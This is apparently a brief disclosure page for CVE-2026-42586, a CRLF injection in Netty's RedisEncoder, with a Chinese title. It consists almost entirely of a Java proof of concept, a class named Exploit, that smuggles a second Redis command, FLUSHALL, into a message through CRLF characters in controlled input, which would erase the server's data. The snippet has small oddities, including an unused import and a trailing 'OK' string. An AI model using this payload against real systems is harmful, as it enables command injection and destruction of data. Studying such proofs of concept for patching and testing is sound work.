CVE-2026-42586 Netty Redis编码器CRLF注入漏洞

// Conceptual PoC for Netty RedisEncoder CRLF Injection // This demonstrates how an attacker can inject commands via CRLF characters. import io.netty.channel.ChannelHandlerContext; import io.netty.handler.codec.redis.DefaultRedisMessage; import io.netty.handler.codec.redis.RedisMessage; import io.netty.handler.codec.redis.SimpleStringRedisMessage; public class Exploit { public void sendPayload(ChannelHandlerContext ctx, String controlledInput) { // The vulnerability allows injecting CRLF to break the RESP protocol structure. // By appending "\r\n", we can terminate the current message and inject a new command. String maliciousPayload = controlledInput + "\r\n" + "FLUSHALL" + "\r\n" + "OK"; // Sending the malicious payload through the vulnerable RedisEncoder RedisMessage message = new SimpleStringRedisMessage(maliciousPayload); ctx.write(message); // Result: The Redis server might interpret 'FLUSHALL' as a separate command. } }